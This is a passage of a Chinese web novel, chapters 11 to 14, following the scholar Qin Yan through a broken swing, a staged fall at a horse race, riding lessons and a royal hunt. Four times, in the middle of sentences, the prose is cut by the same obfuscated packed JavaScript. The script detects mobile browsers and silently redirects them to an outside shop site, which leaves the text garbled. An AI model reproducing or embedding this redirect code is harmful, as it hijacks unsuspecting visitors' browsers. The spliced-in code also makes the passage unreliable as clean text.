秦砚松了口气，心道若不是什么作奸犯科之事，帮忙代笔也无妨，于是点头道：“虞公子但说无妨。” “就是……” 虞英才搓了搓手，凑近了些，“我托人搞到了下次相府清谈的议题，想请秦兄帮忙写一篇策论，我好去找穆小姐讨教，多说几句话……” “噗——” 秦砚刚喝进嘴的茶全都呛了出来，咳得满脸通红。 尹都把那碟花生米放在虞英才面前，用勺子敲了敲他的脑袋。 “我说虞公子，你这脑袋里除了穆小姐还有别的吗？秦砚是相府姑爷，你找他帮忙写文章，去接近穆小姐？怕不是脑子进水了？” “是啊……咳咳咳……” 秦砚用袖子擦了擦脸，为难道，“小姐认识我的字迹，对我的行文风格也很熟悉，这事我恐怕帮不了你。” “你改改风格，然后我直接背下来不就好了吗？” 虞英才揉了揉脑袋，嘟囔道，“相府姑爷又怎么了，反正只是逢场作戏而已，穆小姐又不喜欢你。” 秦砚：“……” 虞英才说罢，似乎觉得这话有些欠妥，于是又找补道：“况且秦兄是被迫入赘相府的，你也不喜欢穆小姐，对吧？” 秦砚：“………………” 尹都大喇喇地反手拉过一张椅子坐下，对虞英才说：“人家是高高在上的相府千金。那样的女子，眼里只有利益得失，心机深沉得吓人。你费劲心思，就算能凑到她跟前又如何？人家压根不会多看你一眼。” “我不许你这么说穆小姐！” 虞英才腾地站起身，怒极拍桌，一巴掌直接把本就单薄的桌子给拍散了架，桌上的茶壶茶杯稀里哗啦砸了一地。 尹都跳起来，气道：“说话就说话，你拆我店作甚？！” “不过就是一张破桌子，我赔给你便是了！” “说得轻巧，我这可是百年老店传下来的古董！” “你老是说穆小姐的坏话，我早就看你不爽了！你要是不服，我们现在就去外头比划比划！” “比就比！谁怕谁！” 秦砚上前拉住撸袖子的尹都，在他耳边低声劝道：“尹兄息怒，虞公子自幼练习拳脚功夫，力大无穷，你打不过他的。” 尹都气结，一把甩开他的手：“怎么着，仗着会点拳脚就可以随便欺负人吗？” 虞英才叉着腰，不甘示弱：“我怎么欺负你了？我都说了赔钱给你，你还想怎样？” …… 好不容易劝住了两个活宝，秦砚急匆匆地赶回相府，已经是戌时三刻了。 沁芳院里没看见穆卿云的身影，他又转身往院外方向走去。 路过相府后花园，一道小小的身影忽然吸引了秦砚的视线。 穆子钰孤零零地蹲在落满残叶的秋千旁边，难得身边没有那群前呼后拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524725|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的下人。 秦砚犹豫片刻，还是朝他走了过去。 “小少爷，天都快黑了，你怎么一个人在这儿？” “秦砚？”穆子钰被他吓了一跳，当即板起小脸，“你管我！” 秦砚脚步顿了顿，心里嘀咕了句没大没小，脚下还是走了过去。 穆子钰连忙站起身，把秋千挡在身后，抬头凶巴巴地瞪着他。 秦砚伸长脖子一看，那秋千上面的横木似乎破了一块儿，断裂的木板被穆子钰攥在手里背在身后。 “你把秋千弄坏了？”他挑眉问。 穆子钰立刻跳脚：“不是我弄的！是年久失修，它自己断掉的！” “哦……这样啊。” 秦砚也不拆穿，直接绕过他，走到秋千前仔细看了看。 “绳索磨损得厉害，木板也裂了，”他蹲下身，用手指摸了摸断裂处，“得换新的才行。” 穆子钰梗着脖子威胁他：“这是我阿姐最喜欢的秋千，你要是敢告状就死定了！” 这臭小子…… 秦砚站起身，拍了拍手上的灰：“等着。” 说完他便转身往沁芳院的方向走去。 穆子钰愣在原地，冲着那背影喊：“你、你去哪儿？” “找工具。” 半炷香后，秦砚拎着个木匣子回来了，里面装着他从杂物房翻出来的锤子、凿子、麻绳，还有一块备用的木板。 穆子钰蹲在旁边，看着秦砚撸起袖子，叮叮当当地敲打起来。 “你……你怎么还会这个？” 秦砚头也不抬：“我爹是木匠，我从小就跟着他学。” “木匠？”穆子钰皱起小脸，“可你不是状元吗？状元还干这个？” 秦砚笑了笑，手里的动作没停：“状元也是人，会点手艺有什么稀奇。我会的可多了，不止这个。” 穆子钰将信将疑地看着他。 秋千很快修好了，秦砚站起身，拍了拍手上的木屑：“好了，试试吧。” 穆子钰坐上秋千，脚尖点地，轻轻晃了两下，兴奋道：“真的修好了！比原来还稳！” 秦砚扫了一眼满地的木料，忽然掏出随身携带的小刀，就着旁边的石阶，开始削削刻刻。 穆子钰好奇地凑过去，只见秦砚手里的木头渐渐成形，是个巴掌大小的小方块，上面还雕着几道奇怪的凹槽。 “这是什么？” “鲁班锁。” 秦砚把小木块递给他，“七个零件拼起来的，解开它就算你厉害。” 穆子钰接过来，翻来覆去看了半天，一脸惊奇：“这……这怎么解？” 秦砚站起身，拍了拍他的脑袋：“自己琢磨。要是能解开，下次我给你做个更难的。” 穆子钰拍开他的手，撅起嘴道：“少瞧不起人！我这就解开给你看看！” 秦砚耸耸肩膀，开始收拾满地的材料和工具。 “天色不早了，早点回去吧，省得下人们找不到你，又该着急上火了。” 秦砚叮嘱了一句，转身要走。 “喂！” 穆子钰叫住他，却又别过脸去，声音闷闷的，“那个……秋千的事儿，别告诉我阿姐，谢谢你啊。” 秦砚嘴角微微扬起，摆了摆手，继续往沁芳院走去。 12. 第 12 章 几日后。 穆卿云难得得了空闲，趁着精神还好，披着氅衣在院中慢慢踱步。 知微跟在身侧，絮絮叨叨地说着府里这几日的琐事。 路过草木葱茏的花园，穆卿云脚步忽然顿住，目光落在了不远处的秋千上。 知微顺着她的目光看过去，惊讶地发现那秋千绳索崭新，木板光滑，显然是被换过了。 “小少爷每次心情不好的时候，最喜欢在这里荡秋千。时间长了，绳索磨损得厉害，木板也裂了。” 知微上前摸了摸，疑惑道，“奴婢前几日还说要找人修呢，怎么就已经换新的了？” 穆卿云没有接话，垂下眼睫若有所思。 “小姐，您要坐坐试试吗？新修的，肯定稳当。”知微试探着问。 穆卿云掩唇轻咳了几声，把氅衣又拢紧了些，看了一眼空荡荡的秋千，又收回视线。 “风大，算了。” 初春时节，乍暖还寒，兵部牵头举办了春蒐演武，翰林院也得前去参加。 说是观摩学习，实则各路官员借此机会交际应酬，顺便看看各家子弟的骑射本事。 秦砚本不想来，但院正韩信鸿一句“翰林院上下都要到场”，他也不好推脱，只得跟着同僚们一同前往。 校场上旌旗招展，骏马嘶鸣。几轮箭术比试过后，兵部的人提议来一场赛马助兴。 “诸位翰林院的饱学之士，可有人愿意下场一试？”主持的武官笑着看向翰林院这边。 读书人哪擅长这个？ 翰林院众人面面相觑，谁都不愿出头。 韩信鸿却忽然笑了，目光看向人群后方的秦砚。 “秦修撰，本官记得你是寒门出身，乡野长大的孩子，总该会骑马吧？” 秦砚一怔，连忙道：“韩大人，学生确实不会……” “不会？” 韩信鸿挑了挑眉，背起手道：“自古大丈夫当文武双全，你堂堂新科状元，总不好只会闷在屋里读书吧？” 周围响起几声低低的笑。 秦砚攥紧了袖口，还想再推辞，韩信鸿却已经转头对那武官喊道：“我们翰林院有人愿意下场，就秦修撰了！” 秦砚脸色微变，明白自己已经没有退路，只好硬着头皮出列。 马被牵上来的时候，秦砚心里顿时咯噔一下。 那是一匹性子烈的枣红马，还没靠近就打着响鼻刨蹄子，一看就不是新手能驾驭的。 他硬着头皮踩上马镫，试了几次才勉强爬上马背，姿势狼狈又别扭。 校场边上，已经有人开始交头接耳，捂着嘴笑。 “这就是新科状元？” “听说还是相府的姑爷呢，连马都不会骑……” 秦砚听见那些讥笑声，面上不动声色，只是握紧缰绳，尽力稳住身子。 鼓声一响，几匹马同时冲出。 秦砚伏在马背上，根本不敢催马快跑，只求能稳稳当当跑完一圈，别出丑就行。 然而刚跑出半程，旁边一匹马忽然贴近，马背上的年轻武官冲他咧嘴一笑，然后抬手扬鞭，狠狠抽向秦砚的马屁股。 枣红马吃痛，长嘶一声，猛地向前一蹿。 秦砚猝不及防，身子猛地后仰，整个人直接从马背上栽了下去。 “砰”的一声闷响，他重重摔在地上，后背先着地，摔得眼冒金星，半天喘不上气。 那匹枣红马跑出几步，又停下来，低头嗅了嗅他，然后若无其事地踱开了。 校场上静了一瞬，随即爆发出震天的哄笑。 “哈哈哈！这就是翰林院的状元？” “摔得可真够漂亮的！” “秦大人，还能动吗？要不要扶你起来啊？” 秦砚躺在地上，望着灰蒙蒙的天，大口喘着气。 后背疼得几乎动不了，但他还是咬紧牙关，慢慢撑着地面，一点一点坐了起来。 校场边，韩信鸿负手而立，捋着胡须哼笑道：“年轻人，多摔几次就会了。” “砰！” 僻静的茶楼里，虞英才一巴掌拍在尹都新换的桌子上，震得桌上的杯碟哐当一声，尹都的心也跟着一颤。 “那韩信鸿摆明了就是想当众给你难堪，简直欺人太甚！” 秦砚鼻子里塞着止血的的布条，龇牙咧嘴地揉着自己背上的伤处，“我知道，但有什么办法呢？他是翰林院院正，是我的顶头上司，我还能公然抗命不成？” “岂有此理！我去找他理论，帮你讨个公道！” 尹都一边低头查看自己的桌子有没有裂纹，一边凉凉泼冷水：“那韩信鸿可是正五品大官，你爹到人家面前都不够看的，你还能怎么着？” “我……” 虞英才一时语塞，“那总不能就这么算了吧？要是这口气都能咽下去，那往后秦兄还怎么在翰林院里立足？” “怎么立足？夹起尾巴做人呗！身为相府的人，却在翰林院当差，不忍气吞声能怎么办？” 尹都瞪了他一眼，转头看向秦砚，“你也是的，又没摔着脸，这鼻血怎么还止不住了？” 秦砚仰着头瓮声瓮气道：“兴许是这几日人参汤喝多了，有点上火吧。” 尹都扯开他的后领看了一眼，发现脊背上已经是一片青紫。 “你这要找大夫看看吧？至少也买点跌打药酒擦一擦，不然还有的受。” 秦砚摇摇头：“算了，药酒味道重，让穆小姐发现就不好了。” 尹都一听，当即翻了个白眼：“都什么时候了还惦记你的穆小姐！” 虞英才却忽然凑过来，压低声音道：“秦兄，我有个主意！” 秦砚扭头看他，总觉得这表情不太妙。 “你听我说啊，”虞英才神秘兮兮地环顾四周，确认没人偷听，才继续道，“那韩信鸿不是仗着自己是院正欺负你吗？咱们就给他来个以牙还牙！” “怎么个以牙还牙？” “你也让他摔一跤！” 秦砚愣住：“……” 虞英才越说越来劲，“他不是喜欢看人出丑吗？咱们就让他也尝尝从马背上摔下来的滋味！” 秦砚扶额：“虞公子，那是翰林院院正，我怎么能……” “你动手隐蔽一点，谁知道是你干的！” 虞英才挤眉弄眼，“我认识几个太仆寺的兄弟，到时候帮你在韩信鸿的马鞍上动点手脚，保证让他摔得人仰马翻！” 尹都放下茶壶，幽幽道：“虞公子，你这是想让秦砚死得更快吧？” “怎么会？神不知鬼不觉……” “在马鞍上动手脚，要是被查出来怎么办？就算查不出来，韩信鸿摔了，第一个会怀疑谁？” 尹都翻了个白眼，“秦砚今天刚被算计，明天韩大人就摔了，你是当别人都傻还是当秦砚命长？” 虞英才眨了眨眼，显然没想这么深。 “那……那就换个法子！”他一拍大腿，“要不咱们买通翰林院的厨子，在他饭里下巴豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524726|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” “虞公子，你饶了我吧，”秦砚哭笑不得，站起身来，“天色不早了，我得先走了。” 回到相府，秦砚一路低头避着人，生怕被人看出异样。 可谁知刚绕过回廊，却迎面碰见了下朝归来的穆相。 穆相的院落在相府的另一侧，通常也不会路过这里，所以秦砚完全没料到会撞上他。 此刻避无可避，他只得硬着头皮上前，恭敬行礼：“见过相爷。” 穆相瞥了他一眼，不咸不淡地“嗯”了一声，好在也没有多问，只是径直往正院去了。 秦砚松了口气，不敢多做停留，连忙走向沁芳院的书房。 戌时三刻，是秦砚每日固定来找穆卿云请教课业的时间。 穆卿云刚批完案头的最后一份折子，揉了揉胀痛的额头，问：“什么时辰了？秦大人还没来？” 知微轻柔地帮她按着肩，答道：“兴许是翰林院有事耽误了吧，秦大人一向都很准时的。” 两人正说着，就听见房门被敲响，秦砚的声音在门外响起。 “穆小姐，晚生来迟了。” 穆卿云按了按眼角，打起精神：“进来吧。” 秦砚轻手轻脚推开门，进门后便老老实实站在门边。 知微抿唇一笑，躬身退下，顺便帮他们带上了门。 秦砚撑着扶手，在书案对面缓缓坐下，从袖中取出几页写得密密麻麻的纸张，双手递了过去。 “这是小姐上次交代的关于漕运整顿的札记，晚生已经读完了那几卷卷宗，写了一些浅见，请小姐过目。” 穆卿云接过，垂眸细细翻阅。 秦砚端坐着，目光却有些飘忽。后背的伤处隐隐作痛，让他不敢坐得太实，只能微微侧着身子，姿势别扭得很。 穆卿云看得认真，唇角微微弯了弯。 “这一处关于分段运输的建议，倒是有些新意。” 她抬眸看他，“是你自己想出来的？” 秦砚点点头：“晚生查阅前朝旧案时发现，漕运之弊常在于一船到底，一旦中途出问题，整批货物都要延误。若能分段接运，各负其责，或许能减少些风险。” 穆卿云微微颔首，又指出了几处可以再斟酌的地方，秦砚一一记下。 不知不觉，窗外的天色又暗了几分。 秦砚起身，把写满批注的纸张仔细收好，然后躬身行礼：“多谢小姐指点，晚生回去再改。天色不早了，小姐早些歇息，晚生告退。” 穆卿云微微一怔。 这就走了？ 往常这人来请教课业，总是借着各种由头磨蹭到很晚。一会儿问这个问题，一会儿又问那个典故，书读完了还要讨杯茶喝，喝完茶又说什么“方才那处没太明白”，非要再问一遍。 知微私下里笑过好几回，说姑爷这是舍不得走呢。 今日怎么…… 穆卿云抬眸看他，目光在他脸上停了一瞬，忽然察觉出几分异样。 他的脸色似乎比平日里苍白了些，眼下也有些青痕，像是没休息好。 “秦大人。” 秦砚脚步一顿，回头看她。 穆卿云张了张嘴，想问什么，终究只是淡淡道：“回去早些休息吧，平日里若是有什么需要我帮忙的，尽管开口便是。” 秦砚愣了愣，连忙拱手道：“是，多谢小姐关心。” 房门轻轻关上。 穆卿云望着那道门，眉心微微蹙起，总觉得哪里有些奇怪。 13. 第 13 章 翌日。 相府的军机阁里气氛肃穆，穆相端坐首位，右侧坐着穆卿云，下首还有几位相府心腹幕僚。 “江南盐税的事就这么定了，诸位散了吧。” 穆相摆了摆手，忽忽然扭头看向女儿，“时雨，那秦砚最近表现如何？我看你每日都在教他读书，也有段时日了吧。” 穆卿云垂下眼睫，轻笑道：“秦大人天资聪颖，又刻苦用功，自然是进步不小。父亲改天考校一番就知道了。” “嗯……” 穆相沉吟片刻，忽然想起什么，“昨夜我下朝回来，还在游廊下碰见他了，他鬼鬼祟祟地躲着人，走路姿势也怪异得很，不知道是怎么了。” 穆卿云动作一顿，蓦地想起昨夜秦砚匆匆告辞的模样。 下首的邵同光忽然轻嗤一声，阴阳怪气道：“相爷有所不知，昨日春蒐演武，那秦砚被韩大人派去赛马，结果摔了个人仰马翻，当场闹了大笑话。” 穆相眉头一皱：“竟有此事？” “千真万确，”邵同光毫不掩饰脸上的鄙夷，“秦大人这次当众出丑，真是把翰林院和相府的脸面都一同丢尽了。” 原来如此…… 穆卿云眸光微沉，原先心里的疑惑终于有了答案。 这天翰林院差事清闲，下值比平日要早。 秦砚刻意放慢了速度，等到人差不多都走光了，才姿势僵硬地出来。 “秦大人！” 刚踏出门槛，斜对面的槐荫下就有人唤了他一声。 秦砚抬头望去，发现叫住他的人竟然是知微，而且她身后还停着一辆装饰雅致，帘幕低垂的马车，不用想也知道上面坐着什么人。 “知微姑娘？” 秦砚快步上前，飞快看了一眼马车上晃动的青纱帘影，低声道，“小姐怎会在此处？” 知微笑着福身，神秘兮兮道：“姑爷快上车吧，我家小姐要带你去个好地方。” 秦砚一头雾水地跨上马车，小心翼翼地掀开青纱帘。 马车装饰雅致，铺着柔软的锦垫，内部空间不小，穆卿云穿着厚厚的狐裘氅衣，膝头放着小暖炉，正坐在里面翻着一卷书。 “秦大人来了。” “穆小姐。” 秦砚应了一声，弓着腰往里挪了挪，犹豫半晌才拘谨地在她右侧坐下。 “小姐要带我去哪儿？” “去了就知道了。” 穆卿云笑着收起书卷，没有直接回答，反而问道，“我看翰林院今日下值挺早，秦大人怎么这么晚才出来？” “手头有些琐事还没处理完，所以耽误了些时间。” 秦砚不敢看她的眼睛，随口扯了个谎。 穆卿云微微颔首，看了眼他紧绷的脊背和蜷缩的手指，轻轻笑了笑，没再追问。 车夫扬鞭催马，马车跟着微微晃动。 秦砚想要开口说些什么，但鼻尖闻到那抹跟手帕上一模一样的馨香，脑中顿时一片空白，舌头像打了结。 穆卿云静静看了他一会儿，忽然问道：“秦大人很怕我？为何如此紧张，满头大汗。” 马车里没有炭盆，温度也不高，这次也不能再拿闷热来当借口。 秦砚喉结滚了滚，硬着头皮道：“没有，我只是……先前忙着收拾东西，所以跑了一段路，有些热罢了……” “那为何离我那么远？坐过来些。” 秦砚呼吸一滞，只得小心翼翼地往她那边挪了挪。 穆卿云盯着他的动作，见他神色还算自然，就知道他身上的伤应该是好得差不多了，于是心中暗暗松了口气。 约莫大半个时辰后，马车终于停下。 秦砚下了车，发现这里竟然是一处开阔平整的跑马场。 “小姐，这是……” 还不等他问出口，一名身形挺拔的年轻男子就朝他们大步走了过来。 来人一身玄色劲装，腰悬佩剑，眉目英挺，生得极为俊朗。 步伐间自有一股行伍之人的利落干脆，却又透着几分世家子弟的矜贵。 他剑柄上还缠着金丝，系着绯色流苏，一看就品阶不低。 秦砚连忙抱拳躬身，正准备行礼问候，那人却径直掠过他，走到穆卿云面前，眉眼舒展地笑道：“时雨，你来了！” 秦砚惊愕回头，震惊于这人对穆小姐的称呼竟然如此亲昵。 “卫凛将军倒是准时。” 穆卿云笑着回应，拢紧身上的大氅，顺手把手里的暖炉递给身后的知微。 “这位是羽林卫中郎将，卫凛。” 穆卿云侧身对秦砚介绍道，“我幼时的旧识。” 说罢又转向卫凛，微微扬了扬下巴：“这位是秦砚，你应该听说过。” 卫凛这才将目光落在秦砚身上，上下打量了一眼，唇角勾起一抹意味不明的笑：“听说过。新科状元，入赘相府的姑爷。” 最后两个字咬的格外重，好像是想把秦砚本人给用牙碾碎了一样。 秦砚后颈一凉，还是强撑着镇定，垂首拱手：“在下翰林院秦砚，见过卫将军。” 卫凛既不应声，也不回礼，只是冷冷地打量着他。 两人之间气氛凝滞，火药味儿浓得好像一触即燃。 穆卿云轻咳一声，打破僵局：“卫将军，今日我带秦砚前来，是想请你指点他骑射功夫，给他补一补功课。” “给他补课？” 卫凛眉毛一竖，瞪大眼睛，“我还以为你今日约我出来，是为了教子钰骑射呢？” 穆卿云淡淡一笑：“子钰这几日在上太学课，骑射教习得等到开春之后了。” 卫凛眉头紧锁，拉着她往一旁走了两步，压低声音道：“时雨，你有没有搞错，我好歹也是个将军，你让我来给这书生当武师傅？” 穆卿云不动声色地抽出手臂，淡然道：“卫将军如今暂居京中，无军务在身，反正闲着也是闲着，就当帮我个忙。” 看着那说着悄悄话的两人凑得极近，肩膀都快碰到一起，秦砚垂在身侧的手悄悄攥紧，心里像是打翻了醋坛子，又酸又涩，莫名不是滋味。 不知穆卿云说了什么说服的卫凛，他总算松了口，脸色却依旧难看。 “秦大人是吧，”他上下扫了秦砚一眼，冷哼道，“我在军营里可是出了名的苛刻，你想跟我学骑射，可得吃点苦头，如何？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524727|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢不敢应下？” 秦砚努力挺直脊背，不卑不亢道：“求之不得，还请将军不吝赐教！” 穆卿云坐在避风的校场看台上，知微站在她身后，看着校场内，卫凛驱赶着秦砚，一圈又一圈地策马狂奔。 “小姐，您不是说姑爷身上还有伤吗？卫将军这么严厉，训练强度这么大，他能撑得住吗？” 穆卿云端着杯刚送来的热茶，暖了暖冰凉的手指，“学习骑射早晚都要吃点苦头的。每年一度的皇家春猎快开始了，他若是不赶快把骑术练起来，到时候又会被刁难出丑，白白让人笑话。” 知微点了点头，心里默默为秦砚捏了把汗。 “稳住！腰背挺直！夹紧马腹！看你那软绵绵的样子！来之前没吃饱饭吗！” 秦砚强忍着旧伤未愈的脊背传来的隐痛，收紧缰绳，停在卫凛的面前。 卫凛也骑着一匹通体漆黑的骏马，不过比秦砚那匹更更高大，也更神骏，一看就知道是万里挑一的良驹。 “就你这骑术，连六岁小孩都不如，将来若是上了沙场，也只能当炮灰！” 秦砚虽然不明白自己一介文臣，为什么会上沙场，但还是恭敬道：“将军教训的是，我会加紧练习的。” 卫凛冷哼一声，用鼻孔看他，低声骂了句：“害群之马。” 说完他忽然催马上前，逼近秦砚身侧，勾起唇角，挑衅似的问他：“你可知我这是什么马？” 秦砚垂眸看了一眼，不确定道：“汗血宝马？” “嘁，”卫凛嗤笑一声，在他耳边一字一句道，“青，梅，竹，马。” 秦砚：“……” 看台上，穆卿云远远望着那凑在一起的两人，疑惑道：“怎么不继续练了？说什么悄悄话呢？” 这两人从一见面就不对付，这会儿还能聊到一块儿去？ 还没等她想明白，就见秦砚忽然扬起长鞭，在空中狠狠炸了个鞭花，而后干脆利落地掉头离去。 那声鞭响还把卫凛的马都吓了一跳，前蹄高高扬起，连连嘶鸣，险些让他从马背上摔下来。 “可恶，秦砚！你个酸儒书生！竟敢在本将军面前耍威风！” 卫凛脸色铁青，死死攥住缰绳，稳住身体，大骂道，“给我加练五十圈！不跑完不准下来！” 相府。 邵同光拿着亲手誊写的机要文稿，另一只手拎着食盒。 里面装着刚从京中最有名的点心铺买来的糕点，最近在达官贵人圈子里很是风靡，而且据说里面还放了上好的川贝，对久咳体虚的人大有裨益。 他脚步轻快地来到沁芳院，院外的丫鬟却告诉他小姐今日不在家。 “不在？” 邵同光心里疑惑，最近没什么要紧的朝务，穆卿云身子不好，没事的时候通常不会出门，今日怎会忽然外出了？ “你知道小姐上哪儿去了吗？” 丫鬟知道他是府里的常客，于是老实回答道：“小姐带着姑爷去校场练骑射了。” “什么？！” 邵同光脸色一僵，一想到秦砚当众出丑的事儿还是他亲口告诉穆卿云的，这会儿简直跟吃了只苍蝇一样难受。 14. 第 14 章 皇家猎场设在京郊百里外的北山。 仲春三月，司天监择定的吉日，圣驾亲临，随行的文武百官，宗室子弟按品阶列阵。 皇帝一身明黄戎装端坐高台，百官按品阶列于台下，文官居左，武官居右。 秦砚站在翰林院的队伍末尾，远远望见对面的武官队列里，卫凛正抱着胳膊，用鼻孔朝他这边哼了一声。 那意思分明是：待会儿要是丢了人，可别说是我教的。 秦砚收回目光，攥紧了手里的角弓。 鼓声三响，春猎正式开始。 皇帝率先纵马入场，身后跟着羽林卫亲随。待皇家仪仗散开，百官这才纷纷催马，四散涌入山林。 秦砚夹紧马腹，深吸一口气。 这些日子跟着卫凛勤学苦练，如今做起来倒也不算太难。马儿稳稳迈开步子，带着他往林中深处走去。 开局倒还算得上顺遂。秦砚不敢争先，也不愿落后，只随在中后段队伍里。 他依着卫凛教的口诀，左手控缰，右手搭弓，第一箭便射中了一只仓皇逃窜的雉鸡。 羽箭穿透雉鸡翅膀，那禽鸟扑腾着落地，被随行的小吏迅速捡起，登记在案。 接连几箭，他又射中两只野兔，虽算不得箭无虚发，却也中规中矩，丝毫没有露怯。 身旁几位相熟的翰林官见状，纷纷侧目，有人低声赞叹：“秦修撰几日不见，竟有这般长进。” 秦砚微微颔首致意，扭头看向高台之上的穆相。 穆相年事已高，没有亲自下场，只是跟温太傅一左一右坐在御阶两侧。看见秦砚的表现竟然出乎意料的不错，他捋着胡须微微点头，眼里浮起些许欣慰。 一旁的温太傅瞥了他一眼，冷笑道：“这才刚开始呢，穆相可别高兴得太早了。” 穆相不紧不慢道：“江山代有才人出，你我都已经老啦，往后的事，还得要看这群年轻人啊。” 温太傅抖了抖袖子，皮笑肉不笑：“穆相老当益壮，还能坐镇中枢，就不必在我面前谦虚了。” 高台上暗流涌动，猎场内也杀机四伏。 西北麓的密林边缘，这里人迹罕至，刚刚远离主猎场，几道不怀好意的目光牢牢锁在了秦砚身上。 秦砚在一片灌木丛后发现了几只野鹿，他屏住呼吸，缓缓搭箭拉弓，正要松手，身侧忽然传来一阵急促的马蹄声。 三匹马从斜刺里冲出，横在他与猎物之间，为首那人回头看了他一眼，嘴角噙着笑，不紧不慢地催马往前，把那群鹿惊得四散奔逃。 秦砚手一松，箭矢落空。 他抬起头，认出那人，吏部侍郎张元奎，也是温太傅的左膀右臂。 “哎呀，秦大人，对不住对不住，”张元奎勒住马，语气里没半分歉意，“我这马不听话，惊了你的猎物，实在是罪过。” 他身后两人也跟着笑了起来，目光在秦砚身上来回打量，脸上满是嘲弄。 “无妨。”秦砚平静地收起角弓，拨马便要走。 “秦大人别急着走啊，”张元奎催马追上来，跟他并肩而行，“听说秦大人前些日子在校场摔得挺惨？今日却意气风发，连连得手，倒是让我刮目相看。” 秦砚攥着缰绳的手紧了紧，面上不动声色：“劳张大人惦记，摔了几回，自然就会了。” “哦？” 张元奎挑了挑眉，跟身后两人交换了一个眼色，“那不如咱们比一比？看看秦大人这临时加练的本事，到底如何？” 话音刚落，他忽然伸手狠狠一扯秦砚的缰绳。 秦砚早有防备，双腿用力夹紧马腹，同时手腕一转，缰绳从对方手中滑脱。他顺势借力，策马向前窜出数步，恰好避开了身后朝他直直撞来的马匹。 “哟！看来这段时日，秦大人跟着卫将军没少下功夫啊。” 张元奎沉下脸，带着身后两人左右夹击，想要把秦砚往林子更深处逼去。 秦砚心里明白，这是要把他逼到人迹罕至之处，好下手使绊子。 他咬了咬牙，稳住心神。 卫凛那厮虽然嘴毒，但教的东西确实管用。被夹击时如何控马，被逼到险处如何脱身，甚至如何在马上与人周旋，他都一一练过。 前方是一段窄路，两侧灌木丛生。 秦砚忽然勒紧缰绳，马儿速度骤降。张元奎三人猝不及防，瞬间冲到了前头。 待他们勒马回头，秦砚已经拨转马头，从侧方一条小道斜插出去，稳稳落在他们身后。 “你——” 张元奎脸色骤变，显然没想到这书呆子竟能摆脱他们的包围。 秦砚远远朝他拱了拱手，嘴角微微扬起：张大人，失陪了。” 说罢，他一夹马腹，扬长而去。 摆脱那三人后，秦砚在林子里又转了小半个时辰，却始终没寻到合适的猎物。不是被人抢先，就是刚要出手便被惊扰。 他在心里盘算着刚刚猎到的猎物，正琢磨着要不要就此收手，前方灌木丛里忽然传来一阵窸窣声响。 秦砚立刻勒住马，搭箭上弦，凝神细听。 灌木丛中探出一颗脑袋，那是一只体型健硕的公鹿，头顶鹿角分叉繁复，一看便是极好的猎物。 秦砚屏住呼吸，缓缓拉弓。就在他瞄准鹿颈的那一刻，右侧忽然传来一阵极轻的脚步声。 他余光一扫，整个人顿时僵住。 明黄色的骑射服，熟悉的侧影。 是皇帝。 皇帝显然也发现了他，微微侧头，目光扫过来。随即，他又看向那只鹿，缓缓举起手中的弓。 两人瞄准的是同一只猎物。 秦砚脑中飞速运转，他看清皇帝的箭已拉至满弦，角度极佳，正对鹿首。只是那鹿站在溪边，若贸然射箭，恐会惊得它跃入溪中，错失良机。 他心念电转，缓缓重新搭箭，调整角度，箭尖偏离鹿身，指向它身侧的一棵矮树。 皇帝察觉到他的动作，侧目看了他一眼，眼中带着些许探究。 “咻——” 羽箭破空，秦砚的箭矢精准地射在矮树的枝干上，“啪”的一声，枝干断裂。公鹿受惊，猛地抬头，前脚一抬，恰好从溪边的阴影处走出，完全暴露在皇帝的箭下。 几乎在同时，皇帝的箭也应声而出。 箭出如电，势如破竹，正中梅花鹿的心脏。那庞然大物踉跄了几步，晃了晃，轰然倒地。 皇帝刚一得手，寂静的丛林里忽然窜出数道骑着马的身影，纷纷高声喝彩，山鸣谷应。 卫凛也不慌不忙地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524728|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑着马出现在皇帝身侧，意味深长看了秦砚一眼，说不上是欣慰还是意外。 皇帝把角弓丢给身旁侍卫，龙心大悦：“秦修撰不仅文章写得好，骑射之术居然也如此了得，真是文武双全啊！” 